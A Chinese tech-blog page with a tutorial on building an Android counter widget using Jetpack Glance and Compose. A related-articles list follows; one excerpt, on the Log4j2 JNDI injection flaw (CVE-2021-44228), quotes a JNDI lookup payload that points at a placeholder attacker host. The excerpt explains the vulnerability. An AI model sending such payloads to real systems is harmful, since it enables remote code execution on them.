当前位置: 首页 > news >正文

Jetpack 之Glance+Compose实现一个小组件

Glance,官方对其解释是使用 Jetpack Compose 样式的 API 构建远程 Surface 的布局,通俗的讲就是使用Compose风格的API来搭建小插件布局,其最新版本是2022年2月23日更新的1.0.0-alpha03。众所周知,Compose样式的API与原生差别不小,至于widget这块改动如何,接下来让我们来一探究竟。

声明依赖项

第一步肯定要添加对应依赖,相应的都是在build.gradle中添加,如果你的工程还没支持Compose,要先添加:

android {buildFeatures {compose = true}composeOptions {kotlinCompilerExtensionVersion = "1.1.0-beta03"}kotlinOptions {jvmTarget = "1.8"}
}

如果已经支持,上述依赖可以省略,但下述依赖不能省略,继续添加:

dependencies {implementation("androidx.glance:glance-appwidget:1.0.0-alpha03")implementation("androidx.glance:glance-wear-tiles:1.0.0-alpha03")
}

以上是官方的标准依赖方式,同样以下面这种方式依赖也可以:

implementation 'androidx.glance:glance-appwidget:+'
implementation 'androidx.glance:glance:+'
implementation "androidx.glance:glance-appwidget:1.0.0-alpha03"

创建对应 widget

首先编写对应布局,放在对应/layout/xml目录下:

widget_info.xml

<?xml version="1.0" encoding="utf-8"?>
<appwidget-providerxmlns:android="http://schemas.android.com/apk/res/android"android:description="@string/app_name"android:minWidth="150dp"android:minHeight="66dp"android:resizeMode="horizontal|vertical"android:targetCellWidth="3"android:targetCellHeight="2"android:widgetCategory="home_screen"/>

我在上一篇介绍widget的文章中说过,widget其实就是个广播,广播属于四大组件,而四大组件都要在AndroidManifest清单文件中注册:

<receiverandroid:name=".CounterWidgetReceiver"android:enabled="@bool/glance_appwidget_available"android:exported="false"><intent-filter><action android:name="android.appwidget.action.APPWIDGET_UPDATE" /></intent-filter><meta-dataandroid:name="android.appwidget.provider"android:resource="@xml/widget_info" />
</receiver>

对应CounterWidgetReceiver代码为:

import androidx.glance.appwidget.GlanceAppWidget
import androidx.glance.appwidget.GlanceAppWidgetReceiver
import com.ktfly.comapp.ui.theme.CounterWidgetclass CounterWidgetReceiver : GlanceAppWidgetReceiver(){override val glanceAppWidget: GlanceAppWidget = CounterWidget()
}

可能看到这里你就迷惑了,widget对应广播类不是要继承AppWidgetProvider然后实现相应方法的吗,其实Glance提供的GlanceAppWidgetReceiver类就已经继承了AppWidgetProvider,我们使用Glance需要GlanceAppWidgetReceiver:

abstract class GlanceAppWidgetReceiver : AppWidgetProvider() {private companion object {private const val TAG = "GlanceAppWidgetReceiver"}/*** Instance of the [GlanceAppWidget] to use to generate the App Widget and send it to the* [AppWidgetManager]*/abstract val glanceAppWidget: GlanceAppWidget@CallSuperoverride fun onUpdate(context: Context,appWidgetManager: AppWidgetManager,appWidgetIds: IntArray) {if (Build.VERSION.SDK_INT < Build.VERSION_CODES.M) {Log.w(TAG,"Using Glance in devices with API<23 is untested and might behave unexpectedly.")}goAsync {updateManager(context)appWidgetIds.map { async { glanceAppWidget.update(context, appWidgetManager, it) } }.awaitAll()}}@CallSuperoverride fun onAppWidgetOptionsChanged(context: Context,appWidgetManager: AppWidgetManager,appWidgetId: Int,newOptions: Bundle) {goAsync {updateManager(context)glanceAppWidget.resize(context, appWidgetManager, appWidgetId, newOptions)}}@CallSuperoverride fun onDeleted(context: Context, appWidgetIds: IntArray) {goAsync {updateManager(context)appWidgetIds.forEach { glanceAppWidget.deleted(context, it) }}}private fun CoroutineScope.updateManager(context: Context) {launch {runAndLogExceptions {GlanceAppWidgetManager(context).updateReceiver(this@GlanceAppWidgetReceiver, glanceAppWidget)}}}override fun onReceive(context: Context, intent: Intent) {runAndLogExceptions {if (intent.action == Intent.ACTION_LOCALE_CHANGED) {val appWidgetManager = AppWidgetManager.getInstance(context)val componentName =ComponentName(context.packageName, checkNotNull(javaClass.canonicalName))onUpdate(context,appWidgetManager,appWidgetManager.getAppWidgetIds(componentName))return}super.onReceive(context, intent)}}
}private inline fun runAndLogExceptions(block: () -> Unit) {try {block()} catch (ex: CancellationException) {// Nothing to do} catch (throwable: Throwable) {logException(throwable)}
}

基本流程方法跟原生widget的差别不大,其含义也无差别,如果对原生Widget不太了解的同学可以翻阅我上一篇文章,这里还有官方注释:“Using Glance in devices with API<23 is untested and might behave unexpectedly.”。在6.0版本以下的Android系统上使用Glance的情况未经测试可能有出乎意料的情况发生。在开始编写widget代码之前,我们先来了解下其使用组件与Compose中的对应组件的些许差别。

差别

根据官方提示,可使用的Compose组合项如下:Box、Row、Column、Text、Button、LazyColumn、Image、Spacer。原生widget是不支持自定义View的,但Compose能通过自定义组件的方式来“自定义”出我们想要的视图,这一点来看相对更加灵活。

Compose中使用的修饰符是Modifier,这里修饰可组合项的修饰符是GlanceModifier,使用方式并无二致,其余组件也有些许差异,这个我们放到后面来说,

Action

以前使用widget跳转页面啥的,都离不开PendingIntent,但是Glance中则采取另一套方式:

actionStartActivity

看函数命名就得知,通过Action启动Activity。共有三种使用方式:

// 通过包名启动Activity
public fun actionStartActivity(componentName: ComponentName,parameters: ActionParameters = actionParametersOf()
): Action = StartActivityComponentAction(componentName, parameters)// 直接启动Activity
public fun <T : Activity> actionStartActivity(activity: Class<T>,parameters: ActionParameters = actionParametersOf()
): Action = StartActivityClassAction(activity, parameters)//调用actionStartActivity启动Activity,内联函数
public inline fun <reified T : Activity> actionStartActivity(parameters: ActionParameters = actionParametersOf()
): Action = actionStartActivity(T::class.java, parameters)\

其对应的使用方式也简单:

Button(text = "Jump", onClick = actionStartActivity(ComponentName("com.ktfly.comapp","com.ktfly.comapp.page.ShowActivity")))
Button(text = "Jump", onClick = actionStartActivity<ShowActivity>())
Button(text = "Jump", onClick = actionStartActivity(ShowActivity::class.java))

actionRunCallback

顾名思义,此函数是通过Action执行Callback,以下是官方提供的使用说明:\

fun <T : ActionCallback> actionRunCallback(callbackClass: Class<T>, parameters: ActionParameters = actionParametersOf()
): Actioninline fun <reified T : ActionCallback> actionRunCallback(parameters: ActionParameters = actionParametersOf()): Action

使用方式:

先创建一个继承actionRunCallback的回调类:

class ActionDemoCallBack : ActionCallback {override suspend fun onRun(context: Context, glanceId: GlanceId, parameters: ActionParameters) {TODO("Not yet implemented")}
}

然后在控件中调用:

Button(text = "CallBack", onClick = actionRunCallback<ActionDemoCallBack>())Button(text = "CallBack", onClick = actionRunCallback(ActionDemoCallBack::class.java))\

actionStartService

此函数是通过Action启动Service,有以下四个使用方式:

fun actionStartService(intent: Intent, isForegroundService: Boolean = false
): Actionfun actionStartService(componentName: ComponentName, isForegroundService: Boolean = false
): Actionfun <T : Service> actionStartService(service: Class<T>, isForegroundService: Boolean = false
): Actioninline fun <reified T : Service> actionStartService(isForegroundService: Boolean = false): Action

这里的isForegroundService参数含义是此服务是前台服务。在调用之前也需要先创建对应Service:

class ActionDemoService : Service() {override fun onBind(intent: Intent?): IBinder? {TODO("Not yet implemented")}
}

其在控件中使用方式如下:

Button(text = "start", onClick = actionStartService<ActionDemoService>())Button(text = "start", onClick = actionStartService(ActionDemoService::class.java))

actionStartBroadcastReceiver

此函数是通过Action启动BroadcastReceiver,有以下使用方式:

fun actionSendBroadcast(action: String, componentName: ComponentName? = null
): Actionfun actionSendBroadcast(intent: Intent): Actionfun actionSendBroadcast(componentName: ComponentName): Actionfun <T : BroadcastReceiver> actionSendBroadcast(receiver: Class<T>): Actioninline fun <reified T : BroadcastReceiver> actionSendBroadcast(): Actionfun actionStartActivity(intent: Intent, parameters: ActionParameters = actionParametersOf()
): Action

其各函数用法跟actionStartActivity函数差不多,这里不做赘述。你会发现以上函数中经常出现ActionParameters。其实ActionParameters就是给Action提供参数,这里不做赘述。

创建widget

创建对应的widget类,通过GlanceStateDefinition来保留GlanceAppWidget的状态,通过点击事件回调自定义的ActionCallBack达到更改widget中数字的目的:

import android.content.Context
import androidx.compose.runtime.Composable
import androidx.compose.ui.graphics.Color
import androidx.compose.ui.unit.dp
import androidx.compose.ui.unit.sp
import androidx.datastore.preferences.core.Preferences
import androidx.datastore.preferences.core.intPreferencesKey
import androidx.glance.*
import androidx.glance.action.ActionParameters
import androidx.glance.action.actionParametersOf
import androidx.glance.appwidget.GlanceAppWidget
import androidx.glance.appwidget.action.ActionCallback
import androidx.glance.appwidget.action.actionRunCallback
import androidx.glance.appwidget.state.updateAppWidgetState
import androidx.glance.layout.*
import androidx.glance.state.GlanceStateDefinition
import androidx.glance.state.PreferencesGlanceStateDefinition
import androidx.glance.text.Text
import androidx.glance.text.TextAlign
import androidx.glance.text.TextStyle
import androidx.glance.unit.ColorProviderprivate val countPreferenceKey = intPreferencesKey("widget-key")
private val countParamKey = ActionParameters.Key<Int>("widget-key")class CounterWidget : GlanceAppWidget(){override val stateDefinition: GlanceStateDefinition<*> =PreferencesGlanceStateDefinition@Composableoverride fun Content(){val prefs = currentState<Preferences>()val count = prefs[countPreferenceKey] ?: 1Column(horizontalAlignment = Alignment.CenterHorizontally,verticalAlignment = Alignment.CenterVertically,modifier = GlanceModifier.background(Color.Yellow).fillMaxSize()) {Text(text = count.toString(),modifier = GlanceModifier.fillMaxWidth(),style = TextStyle(textAlign = TextAlign.Center,color = ColorProvider(Color.Blue),fontSize = 50.sp))Spacer(modifier = GlanceModifier.padding(8.dp))Button(text = "变两倍",modifier = GlanceModifier.background(Color(0xFFB6C0C9)).size(100.dp,50.dp),onClick = actionRunCallback<UpdateActionCallback>(parameters = actionParametersOf(countParamKey to (count + count))))}}
}class UpdateActionCallback : ActionCallback{override suspend fun onRun(context: Context, glanceId: GlanceId,parameters: ActionParameters) {val count = requireNotNull(parameters[countParamKey])updateAppWidgetState(context = context,definition = PreferencesGlanceStateDefinition,glanceId = glanceId){ preferences ->preferences.toMutablePreferences().apply {this[countPreferenceKey] = count}}CounterWidget().update(context,glanceId)}
}

运行后效果如下:

Glance- Widget.gif

也许你会发现上述导包与平常Compose导包不一样:

image.gif

控件导的包都是glance包下的,当然不仅是Column,还有Button、Image等参数都有变化,但变化不大,例如Image的差异:

原Compose中:
Image(modifier = modifier,painter = BitmapPainter(bitmap),contentDescription = "",contentScale = contentScale)Image(modifier = modifier,painter = painterResource(资源id),contentDescription = "",contentScale = contentScale)Glance中:
public fun Image(provider: ImageProvider,contentDescription: String?,modifier: GlanceModifier = GlanceModifier,contentScale: ContentScale = ContentScale.Fit
)

其余控件差异大同小异,这里不做赘述。

相关文章:

Jetpack 之Glance+Compose实现一个小组件

Glance&#xff0c;官方对其解释是使用 Jetpack Compose 样式的 API 构建远程 Surface 的布局&#xff0c;通俗的讲就是使用Compose风格的API来搭建小插件布局&#xff0c;其最新版本是2022年2月23日更新的1.0.0-alpha03。众所周知&#xff0c;Compose样式的API与原生差别不小&…...

实时矢量搜索如何彻底改变各行各业?

实时分析技术已经巩固了其作为众多行业的基石这一地位。另外&#xff0c;生成式AI具有的魅力吸引了广泛的关注&#xff0c;创新的解决方案有望为从娱乐到医疗保健的各个行业领域提供前所未有的洞察力。使用生成式AI方法与众多实时分析技术的融合带来了显著的协同效应。它使组织…...

【Linux】指令 【scp】

scp 是一条用于安全复制文件的命令。 scp hadoop.tar.gz datanode:/software这条命令的含义是将本地的hadoop.tar.gz文件复制到远程主机datanode的/software目录下。 scp&#xff1a;这是Secure Copy的缩写&#xff0c;用于在主机之间安全地复制文件。hadoop.tar.gz&#xff…...

文件IO,目录IO的学习

一&#xff0c;头文件的添加 #ifndef _HEAD_H_ //防止重新定义宏 #define _HEAD_H_#include<stdio.h> #include<sys/stat.h> #include<sys/types.h> #include<fcntl.h> #include<unistd.h> #include<string.h>#endif…...

leetcode(动态规划)53.最大子数组和(C++详细解释)DAY12

文章目录 1.题目示例提示 2.解答思路3.实现代码结果 4.总结 1.题目 给你一个整数数组 nums &#xff0c;请你找出一个具有最大和的连续子数组&#xff08;子数组最少包含一个元素&#xff09;&#xff0c;返回其最大和。 子数组 是数组中的一个连续部分。 示例 提示 2.解答思…...

BUGKU-WEB bp

题目描述 题目截图如下&#xff1a; 进入场景看看&#xff1a; 解题思路 提示说&#xff1a;弱密码top1000&#xff1f;z???(爆破?)先看看源码有没有提示 相关工具 Burp Suit 爆破top1000字典&#xff0c;点击下载 解题步骤 随便测试账号密码admin、admin 得到提…...

代码的复用——Mixin使用例子

Mixin&#xff08;混入&#xff09;是一种在Sass和Vue.js等框架中常用的技术&#xff0c;用于分发和重用代码。以下是Sass和Vue.js中Mixin的使用举例。 在Sass中&#xff0c;Mixin允许你定义可以在整个样式表中重复使用的样式。以下是一个Sass中Mixin的使用例子&#xff1a; …...

easyx 枪声模拟器

作品介绍:枪声模拟器 简介: “枪声模拟器”是一个基于Windows平台的简单程序,它使用C++编写,主要目的是通过模拟枪声来增强用户的体验。程序使用了图形库来展示一个蓝色的背景屏幕,并提示用户等待片刻后按空格键模拟开枪。当用户按下空格键时,程序会播放预先设定的枪声音…...

python 与 neo4j 交互(py2neo 使用)

参考自&#xff1a;neo4j的python.py2neo操作入门 官方文档&#xff1a;The Py2neo Handbook — py2neo 2021.1 安装&#xff1a;pip install py2neo -i https://pypi.tuna.tsinghua.edu.cn/simple 1 节点 / 关系 / 属性 / 路径 节点(Node)和关系(relationship)是构成图的基础…...

Python基础笔记11

Python小记 一行代码实现数字交换 C:\Users\mt>python Python 3.9.1 (tags/v3.9.1:1e5d33e, Dec 7 2020, 17:08:21) [MSC v.1927 64 bit (AMD64)] on win32 Type "help", "copyright", "credits" or "license" for more informa…...

vulhub中Apache Log4j2 lookup JNDI 注入漏洞(CVE-2021-44228)

Apache Log4j 2 是Java语言的日志处理套件&#xff0c;使用极为广泛。在其2.0到2.14.1版本中存在一处JNDI注入漏洞&#xff0c;攻击者在可以控制日志内容的情况下&#xff0c;通过传入类似于${jndi:ldap://evil.com/example}的lookup用于进行JNDI注入&#xff0c;执行任意代码。…...

智慧城市驿站:智慧公厕升级版,打造现代化城市生活的便捷配套

随着城市化进程的加速&#xff0c;人们对城市生活质量的要求也越来越高。作为智慧城市建设的一项重要组成部分&#xff0c;多功能城市智慧驿站应运而生。它集合了信息技术、设计美学、结构工艺、系统集成、环保节能等多个亮点&#xff0c;将现代科技与城市生活相融合&#xff0…...

大模型爆款应用fabric_构建优雅的提示

项目地址&#xff1a;https://github.com/danielmiessler/fabric 1 引言 目前 fabric 已经获得了 5.3K Star&#xff0c;其中上周获得了 4.2K&#xff0c;成为了上周热榜的第二名&#xff08;第一名是免费手机看电视的 Android 工具&#xff09;&#xff0c;可以算是爆款应用…...

js 对象属性描述符详解

文章目录 一、value二、writable三、访问器属性&#xff1a;get和set四、configurable五、注意事项 在 JavaScript 中&#xff0c;我们经常需要控制对象属性的特性&#xff0c;包括可写、可枚举等&#xff0c;本篇博客将介绍常见的对象属性使用及其特点。 本篇博客我们用首先O…...

文件操作QFile

C中&#xff0c;QT的QFile 类是 Qt 框架中用于文件处理的一个类&#xff0c;它继承自 QIODevice。该类提供了一系列用于文件读写的功能&#xff0c;支持文本和二进制文件的处理。QFile 允许开发者方便地在本地文件系统中创建、读取、写入和操作文件。 主要功能 文件打开与关闭…...

【Langchain】+ 【baichuan】实现领域知识库【RAG】问答系统

本项目使用Langchain 和 baichuan 大模型&#xff0c; 结合领域百科词条数据&#xff08;用xlsx保存&#xff09;&#xff0c;简单地实现了领域百科问答实现。 from langchain.text_splitter import CharacterTextSplitter, RecursiveCharacterTextSplitter from langchain_co…...

Anaconda、conda、pip、virtualenv的区别

① Anaconda Anaconda是一个包含180的科学包及其依赖项的发行版本。其包含的科学包包括&#xff1a;conda, numpy, scipy, ipython notebook等。 Anaconda具有如下特点&#xff1a; ▪ 开源 ▪ 安装过程简单 ▪ 高性能使用Python和R语言 ▪ 免费的社区支持 其特点的实现…...

【数据结构】每天五分钟,快速入门数据结构(一)——数组

目录 一.初始化语法 二.特点 三.数组中的元素默认值 四.时间复杂度 五.Java中的ArrayList类 可变长度数组 1 使用 2 注意事项 3 实现原理 4 ArrayList源码 5 ArrayList方法 一.初始化语法 // 数组动态初始化&#xff08;先定义数组&#xff0c;指定数组长度&#xf…...

NBlog个人博客部署维护过程记录 -- 后端springboot + 前端vue

项目是fork的Naccl大佬NBlog项目&#xff0c;页面做的相当漂亮&#xff0c;所以选择了这个。可以参考2.3的效果图 惭愧&#xff0c;工作两年了也没个自己的博客系统&#xff0c;趁着过年时间&#xff0c;开始搭建一下. NBlog原项目的github链接&#xff1a;Naccl/NBlog: &#…...

WireShark 安装指南:详细安装步骤和使用技巧

Wireshark是一个开源的网络协议分析工具&#xff0c;它能够捕获和分析网络数据包&#xff0c;并以用户友好的方式呈现这些数据包的内容。Wireshark 被广泛应用于网络故障排查、安全审计、教育及软件开发等领域。接下将讲解Wireshark的安装与简单使用。 目录 Wireshark安装步骤…...

【Axure高保真原型】引导弹窗

今天和大家中分享引导弹窗的原型模板&#xff0c;载入页面后&#xff0c;会显示引导弹窗&#xff0c;适用于引导用户使用页面&#xff0c;点击完成后&#xff0c;会显示下一个引导弹窗&#xff0c;直至最后一个引导弹窗完成后进入首页。具体效果可以点击下方视频观看或打开下方…...

Linux 文件类型,目录与路径,文件与目录管理

文件类型 后面的字符表示文件类型标志 普通文件&#xff1a;-&#xff08;纯文本文件&#xff0c;二进制文件&#xff0c;数据格式文件&#xff09; 如文本文件、图片、程序文件等。 目录文件&#xff1a;d&#xff08;directory&#xff09; 用来存放其他文件或子目录。 设备…...

Flask RESTful 示例

目录 1. 环境准备2. 安装依赖3. 修改main.py4. 运行应用5. API使用示例获取所有任务获取单个任务创建新任务更新任务删除任务 中文乱码问题&#xff1a; 下面创建一个简单的Flask RESTful API示例。首先&#xff0c;我们需要创建环境&#xff0c;安装必要的依赖&#xff0c;然后…...

【Linux】shell脚本忽略错误继续执行

在 shell 脚本中&#xff0c;可以使用 set -e 命令来设置脚本在遇到错误时退出执行。如果你希望脚本忽略错误并继续执行&#xff0c;可以在脚本开头添加 set e 命令来取消该设置。 举例1 #!/bin/bash# 取消 set -e 的设置 set e# 执行命令&#xff0c;并忽略错误 rm somefile…...

MySQL 隔离级别:脏读、幻读及不可重复读的原理与示例

一、MySQL 隔离级别 MySQL 提供了四种隔离级别,用于控制事务之间的并发访问以及数据的可见性,不同隔离级别对脏读、幻读、不可重复读这几种并发数据问题有着不同的处理方式,具体如下: 隔离级别脏读不可重复读幻读性能特点及锁机制读未提交(READ UNCOMMITTED)允许出现允许…...

阿里云ACP云计算备考笔记 (5)——弹性伸缩

目录 第一章 概述 第二章 弹性伸缩简介 1、弹性伸缩 2、垂直伸缩 3、优势 4、应用场景 ① 无规律的业务量波动 ② 有规律的业务量波动 ③ 无明显业务量波动 ④ 混合型业务 ⑤ 消息通知 ⑥ 生命周期挂钩 ⑦ 自定义方式 ⑧ 滚的升级 5、使用限制 第三章 主要定义 …...

大语言模型如何处理长文本?常用文本分割技术详解

为什么需要文本分割? 引言:为什么需要文本分割?一、基础文本分割方法1. 按段落分割(Paragraph Splitting)2. 按句子分割(Sentence Splitting)二、高级文本分割策略3. 重叠分割(Sliding Window)4. 递归分割(Recursive Splitting)三、生产级工具推荐5. 使用LangChain的…...

什么是库存周转?如何用进销存系统提高库存周转率?

你可能听说过这样一句话&#xff1a; “利润不是赚出来的&#xff0c;是管出来的。” 尤其是在制造业、批发零售、电商这类“货堆成山”的行业&#xff0c;很多企业看着销售不错&#xff0c;账上却没钱、利润也不见了&#xff0c;一翻库存才发现&#xff1a; 一堆卖不动的旧货…...

MVC 数据库

MVC 数据库 引言 在软件开发领域,Model-View-Controller(MVC)是一种流行的软件架构模式,它将应用程序分为三个核心组件:模型(Model)、视图(View)和控制器(Controller)。这种模式有助于提高代码的可维护性和可扩展性。本文将深入探讨MVC架构与数据库之间的关系,以…...

如何在看板中有效管理突发紧急任务

在看板中有效管理突发紧急任务需要&#xff1a;设立专门的紧急任务通道、重新调整任务优先级、保持适度的WIP&#xff08;Work-in-Progress&#xff09;弹性、优化任务处理流程、提高团队应对突发情况的敏捷性。其中&#xff0c;设立专门的紧急任务通道尤为重要&#xff0c;这能…...